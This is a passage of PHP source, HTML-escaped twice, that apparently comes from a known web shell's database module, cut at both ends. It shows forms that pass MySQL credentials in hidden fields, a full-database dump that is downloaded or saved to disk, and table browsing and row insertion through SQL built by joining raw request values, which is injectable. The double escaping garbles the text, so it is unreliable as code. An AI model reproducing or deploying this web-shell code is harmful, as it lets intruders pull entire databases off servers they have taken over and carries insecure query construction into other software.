value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_act&amp;quot; value=&amp;quot;dump&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_db&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_db); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_login); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_passwd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_server); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_port); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;dump_file&amp;quot; size=&amp;quot;30&amp;quot; value=&amp;quot;&amp;lt;?php echo &amp;quot;dump_&amp;quot;.getenv(&amp;quot;SERVER_NAME&amp;quot;).&amp;quot;_&amp;quot;.$sql_db.&amp;quot;_&amp;quot;.date(&amp;quot;d-m-Y-H-i-s&amp;quot;).&amp;quot;.sql&amp;quot;; ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; name=\&amp;quot;submit\&amp;quot; value=&amp;quot;Dump&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;?php&lt;br /&gt;
    if (!empty($sql_act)) {echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;}&lt;br /&gt;
    if ($sql_act == &amp;quot;newtbl&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;;&lt;br /&gt;
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo &amp;quot;DB \&amp;quot;&amp;quot;.htmlspecialchars($sql_newdb).&amp;quot;\&amp;quot; has been created with success!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    else {echo &amp;quot;Can't create DB \&amp;quot;&amp;quot;.htmlspecialchars($sql_newdb).&amp;quot;\&amp;quot;.&amp;lt;br&amp;gt;Reason:&amp;lt;/b&amp;gt; &amp;quot;.mysql_smarterror();}&lt;br /&gt;
   }&lt;br /&gt;
   elseif ($sql_act == &amp;quot;dump&amp;quot;)&lt;br /&gt;
   {&lt;br /&gt;
    if (empty($submit))&lt;br /&gt;
    {&lt;br /&gt;
     $diplay = FALSE;&lt;br /&gt;
     echo &amp;quot;&amp;lt;form method=\&amp;quot;GET\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;act\&amp;quot; value=\&amp;quot;sql\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_act\&amp;quot; value=\&amp;quot;dump\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_db\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_db).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_login\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_login).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_passwd\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_server\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_server).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_port\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_port).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_tbl\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_tbl).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;SQL-Dump:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;DB:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;sql_db\&amp;quot; value=\&amp;quot;&amp;quot;.urlencode($sql_db).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     $v = join (&amp;quot;;&amp;quot;,$dmptbls);&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;Only tables (explode \&amp;quot;;\&amp;quot;)&amp;amp;nbsp;&amp;lt;b&amp;gt;&amp;lt;sup&amp;gt;1&amp;lt;/sup&amp;gt;&amp;lt;/b&amp;gt;:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;dmptbls\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($v).&amp;quot;\&amp;quot; size=\&amp;quot;&amp;quot;.(strlen($v)+5).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     if ($dump_file) {$tmp = $dump_file;}&lt;br /&gt;
     else {$tmp = htmlspecialchars(&amp;quot;./dump_&amp;quot;.getenv(&amp;quot;SERVER_NAME&amp;quot;).&amp;quot;_&amp;quot;.$sql_db.&amp;quot;_&amp;quot;.date(&amp;quot;d-m-Y-H-i-s&amp;quot;).&amp;quot;.sql&amp;quot;);}&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;File:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;sql_dump_file\&amp;quot; value=\&amp;quot;&amp;quot;.$tmp.&amp;quot;\&amp;quot; size=\&amp;quot;&amp;quot;.(strlen($tmp)+strlen($tmp) % 30).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;Download: &amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;sql_dump_download\&amp;quot; value=\&amp;quot;1\&amp;quot; checked&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;Save to file: &amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;sql_dump_savetofile\&amp;quot; value=\&amp;quot;1\&amp;quot; checked&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Dump\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&amp;lt;sup&amp;gt;1&amp;lt;/sup&amp;gt;&amp;lt;/b&amp;gt; - all, if empty&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
     $diplay = TRUE;&lt;br /&gt;
     $set = array();&lt;br /&gt;
     $set[&amp;quot;sock&amp;quot;] = $sql_sock;&lt;br /&gt;
     $set[&amp;quot;db&amp;quot;] = $sql_db;&lt;br /&gt;
     $dump_out = &amp;quot;download&amp;quot;;&lt;br /&gt;
     $set[&amp;quot;print&amp;quot;] = 0;&lt;br /&gt;
     $set[&amp;quot;nl2br&amp;quot;] = 0;&lt;br /&gt;
     $set[&amp;quot;&amp;quot;] = 0;&lt;br /&gt;
     $set[&amp;quot;file&amp;quot;] = $dump_file;&lt;br /&gt;
     $set[&amp;quot;add_drop&amp;quot;] = TRUE;&lt;br /&gt;
     $set[&amp;quot;onlytabs&amp;quot;] = array();&lt;br /&gt;
     if (!empty($dmptbls)) {$set[&amp;quot;onlytabs&amp;quot;] = explode(&amp;quot;;&amp;quot;,$dmptbls);}&lt;br /&gt;
     $ret = mysql_dump($set);&lt;br /&gt;
     if ($sql_dump_download)&lt;br /&gt;
     {&lt;br /&gt;
      @ob_clean();&lt;br /&gt;
      header(&amp;quot;Content-type: application/octet-stream&amp;quot;);&lt;br /&gt;
      header(&amp;quot;Content-length: &amp;quot;.strlen($ret));&lt;br /&gt;
      header(&amp;quot;Content-disposition: attachment; filename=\&amp;quot;&amp;quot;.basename($sql_dump_file).&amp;quot;\&amp;quot;;&amp;quot;);&lt;br /&gt;
      echo $ret;&lt;br /&gt;
      exit;&lt;br /&gt;
     }&lt;br /&gt;
     elseif ($sql_dump_savetofile)&lt;br /&gt;
     {&lt;br /&gt;
      $fp = fopen($sql_dump_file,&amp;quot;w&amp;quot;);&lt;br /&gt;
      if (!$fp) {echo &amp;quot;&amp;lt;b&amp;gt;Dump error! Can't write to \&amp;quot;&amp;quot;.htmlspecialchars($sql_dump_file).&amp;quot;\&amp;quot;!&amp;quot;;}&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
       fwrite($fp,$ret);&lt;br /&gt;
       fclose($fp);&lt;br /&gt;
       echo &amp;quot;&amp;lt;b&amp;gt;Dumped! Dump has been writed to \&amp;quot;&amp;quot;.htmlspecialchars(realpath($sql_dump_file)).&amp;quot;\&amp;quot; (&amp;quot;.view_size(filesize($sql_dump_file)).&amp;quot;)&amp;lt;/b&amp;gt;.&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
     }&lt;br /&gt;
     else {echo &amp;quot;&amp;lt;b&amp;gt;Dump: nothing to do!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   if ($diplay)&lt;br /&gt;
   {&lt;br /&gt;
    if (!empty($sql_tbl))&lt;br /&gt;
    {&lt;br /&gt;
     if (empty($sql_tbl_act)) {$sql_tbl_act = &amp;quot;browse&amp;quot;;}&lt;br /&gt;
     $count = mysql_query(&amp;quot;SELECT COUNT(*) FROM `&amp;quot;.$sql_tbl.&amp;quot;`;&amp;quot;);&lt;br /&gt;
     $count_row = mysql_fetch_array($count);&lt;br /&gt;
     mysql_free_result($count);&lt;br /&gt;
     $tbl_struct_result = mysql_query(&amp;quot;SHOW FIELDS FROM `&amp;quot;.$sql_tbl.&amp;quot;`;&amp;quot;);&lt;br /&gt;
     $tbl_struct_fields = array();&lt;br /&gt;
     while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}&lt;br /&gt;
     if ($sql_ls &amp;gt; $sql_le) {$sql_le = $sql_ls + $perpage;}&lt;br /&gt;
     if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}&lt;br /&gt;
     if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}&lt;br /&gt;
     if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}&lt;br /&gt;
     $perpage = $sql_tbl_le - $sql_tbl_ls;&lt;br /&gt;
     if (!is_numeric($perpage)) {$perpage = 10;}&lt;br /&gt;
     $numpages = $count_row[0]/$perpage;&lt;br /&gt;
     $e = explode(&amp;quot; &amp;quot;,$sql_order);&lt;br /&gt;
     if (count($e) == 2)&lt;br /&gt;
     {&lt;br /&gt;
      if ($e[0] == &amp;quot;d&amp;quot;) {$asc_desc = &amp;quot;DESC&amp;quot;;}&lt;br /&gt;
      else {$asc_desc = &amp;quot;ASC&amp;quot;;}&lt;br /&gt;
      $v = &amp;quot;ORDER BY `&amp;quot;.$e[1].&amp;quot;` &amp;quot;.$asc_desc.&amp;quot; &amp;quot;;&lt;br /&gt;
     }&lt;br /&gt;
     else {$v = &amp;quot;&amp;quot;;}&lt;br /&gt;
     $query = &amp;quot;SELECT * FROM `&amp;quot;.$sql_tbl.&amp;quot;` &amp;quot;.$v.&amp;quot;LIMIT &amp;quot;.$sql_tbl_ls.&amp;quot; , &amp;quot;.$perpage.&amp;quot;&amp;quot;;&lt;br /&gt;
     $result = mysql_query($query) or print(mysql_smarterror());&lt;br /&gt;
     echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Table &amp;quot;.htmlspecialchars($sql_tbl).&amp;quot; (&amp;quot;.mysql_num_fields($result).&amp;quot; cols and &amp;quot;.$count_row[0].&amp;quot; rows)&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_tbl_act=structure\&amp;quot;&amp;gt;[&amp;amp;nbsp;&amp;lt;b&amp;gt;Structure&amp;lt;/b&amp;gt;&amp;amp;nbsp;]&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_tbl_act=browse\&amp;quot;&amp;gt;[&amp;amp;nbsp;&amp;lt;b&amp;gt;Browse&amp;lt;/b&amp;gt;&amp;amp;nbsp;]&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_act=tbldump&amp;amp;thistbl=1\&amp;quot;&amp;gt;[&amp;amp;nbsp;&amp;lt;b&amp;gt;Dump&amp;lt;/b&amp;gt;&amp;amp;nbsp;]&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_tbl_act=insert\&amp;quot;&amp;gt;[&amp;amp;nbsp;&amp;lt;b&amp;gt;Insert&amp;lt;/b&amp;gt;&amp;amp;nbsp;]&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
     if ($sql_tbl_act == &amp;quot;structure&amp;quot;) {echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Coming sooon!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
     if ($sql_tbl_act == &amp;quot;insert&amp;quot;)&lt;br /&gt;
     {&lt;br /&gt;
      if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}&lt;br /&gt;
      if (!empty($sql_tbl_insert_radio))&lt;br /&gt;
      {&lt;br /&gt;
&lt;br /&gt;
      }&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
       echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Inserting row into table:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
       if (!empty($sql_tbl_insert_q))&lt;br /&gt;
       {&lt;br /&gt;
        $sql_query = &amp;quot;SELECT * FROM `&amp;quot;.$sql_tbl.&amp;quot;`&amp;quot;;&lt;br /&gt;
        $sql_query .= &amp;quot; WHERE&amp;quot;.$sql_tbl_insert_q;&lt;br /&gt;
        $sql_query .= &amp;quot; LIMIT 1;&amp;quot;;&lt;br /&gt;
        $result = mysql_query($sql_query,$sql_sock) or print(&amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.mysql_smarterror());&lt;br /&gt;
        $values = mysql_fetch_assoc($result);&lt;br /&gt;
        mysql_free_result($result);&lt;br /&gt;
       }&lt;br /&gt;
       else {$values = array();}&lt;br /&gt;
       echo &amp;quot;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\&amp;quot;1%\&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Field&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Type&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Function&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Value&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
       foreach ($tbl_struct_fields as $field)&lt;br /&gt;
       {&lt;br /&gt;
        $name = $field[&amp;quot;Field&amp;quot;];&lt;br /&gt;
        if (empty($sql_tbl_insert_q)) {$v = &amp;quot;&amp;quot;;}&lt;br /&gt;
        echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.htmlspecialchars($name).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$field[&amp;quot;Type&amp;quot;].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;select name=\&amp;quot;sql_tbl_insert_functs[&amp;quot;.htmlspecialchars($name).&amp;quot;]\&amp;quot;&amp;gt;&amp;lt;option value=\&amp;quot;\&amp;quot;&amp;gt;&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;PASSWORD&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;MD5&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;ENCRYPT&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;ASCII&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;CHAR&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;RAND&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;LAST_INSERT_ID&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;COUNT&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;AVG&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;SUM&amp;lt;/option&amp;gt;&amp;lt;option value=\&amp;quot;\&amp;quot;&amp;gt;--------&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;SOUNDEX&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;LCASE&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;UCASE&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;NOW&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;CURDATE&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;CURTIME&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;FROM_DAYS&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;FROM_UNIXTIME&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;PERIOD_ADD&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;PERIOD_DIFF&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;TO_DAYS&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;UNIX_TIMESTAMP&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;USER&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;WEEKDAY&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;CONCAT&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;sql_tbl_insert[&amp;quot;.htmlspecialchars($name).&amp;quot;]\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($values[$name]).&amp;quot;\&amp;quot; size=50&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
        $i++;&lt;br /&gt;
       }&lt;br /&gt;
       echo &amp;quot;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;input type=\&amp;quot;radio\&amp;quot; name=\&amp;quot;sql_tbl_insert_radio\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;quot;; if (empty($sql_tbl_insert_q)) {echo &amp;quot; checked&amp;quot;;} echo &amp;quot;&amp;gt;&amp;lt;b&amp;gt;Insert as new row&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
       if (!empty($sql_tbl_insert_q)) {echo &amp;quot; or &amp;lt;input type=\&amp;quot;radio\&amp;quot; name=\&amp;quot;sql_tbl_insert_radio\&amp;quot; value=\&amp;quot;2\&amp;quot; checked&amp;gt;&amp;lt;b&amp;gt;Save&amp;lt;/b&amp;gt;&amp;quot;; echo &amp;quot;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_tbl_insert_q\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_tbl_insert_q).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;;}&lt;br /&gt;
       echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Confirm\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
     }&lt;br /&gt;
     if ($sql_tbl_act == &amp;quot;browse&amp;quot;)&lt;br /&gt;
     {&lt;br /&gt;
      $sql_tbl_ls = abs($sql_tbl_ls);&lt;br /&gt;
      $sql_tbl_le = abs($sql_tbl_le);&lt;br /&gt;
      echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=multipage\&amp;quot; height=\&amp;quot;12\&amp;quot; width=\&amp;quot;10\&amp;quot; alt=\&amp;quot;Pages\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
      $b = 0;&lt;br /&gt;
      for($i=0;$i&amp;lt;$numpages;$i++)&lt;br /&gt;
      {&lt;br /&gt;
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_order=&amp;quot;.htmlspecialchars($sql_order).&amp;quot;&amp;amp;sql_tbl_ls=&amp;quot;.($i*$perpage).&amp;quot;&amp;amp;sql_tbl_le=&amp;quot;.($i*$perpage+$perpage).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;quot;;}&lt;br /&gt;
       echo $i;&lt;br /&gt;
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo &amp;quot;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
       if (($i/30 == round($i/30)) and ($i &amp;gt; 0)) {echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
       else {echo &amp;quot;&amp;amp;nbsp;&amp;quot;;}&lt;br /&gt;
      }&lt;br /&gt;
      if ($i == 0) {echo &amp;quot;empty&amp;quot;;}&lt;br /&gt;
      echo &amp;quot;&amp;lt;form method=\&amp;quot;GET\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;act\&amp;quot; value=\&amp;quot;sql\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_db\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_db).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_login\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_login).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_passwd\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_server\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_server).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_port\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_port).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_tbl\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_tbl).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_order\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_order).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;From:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;sql_tbl_ls\&amp;quot; value=\&amp;quot;&amp;quot;.$sql_tbl_ls.&amp;quot;\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;b&amp;gt;To:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;sql_tbl_le\&amp;quot; value=\&amp;quot;&amp;quot;.$sql_tbl_le.&amp;quot;\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;View\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\&amp;quot;1%\&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;boxrow_all\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      for ($i=0;$i&amp;lt;mysql_num_fields($result);$i++)&lt;br /&gt;
      {&lt;br /&gt;
       $v = mysql_field_name($result,$i);&lt;br /&gt;
       if ($e[0] == &amp;quot;a&amp;quot;) {$s = &amp;quot;d&amp;quot;; $m = &amp;quot;asc&amp;quot;;}&lt;br /&gt;
       else {$s = &amp;quot;a&amp;quot;; $m = &amp;quot;desc&amp;quot;;}&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;;&lt;br /&gt;
       if (empty($e[0])) {$e[0] = &amp;quot;a&amp;quot;;}&lt;br /&gt;
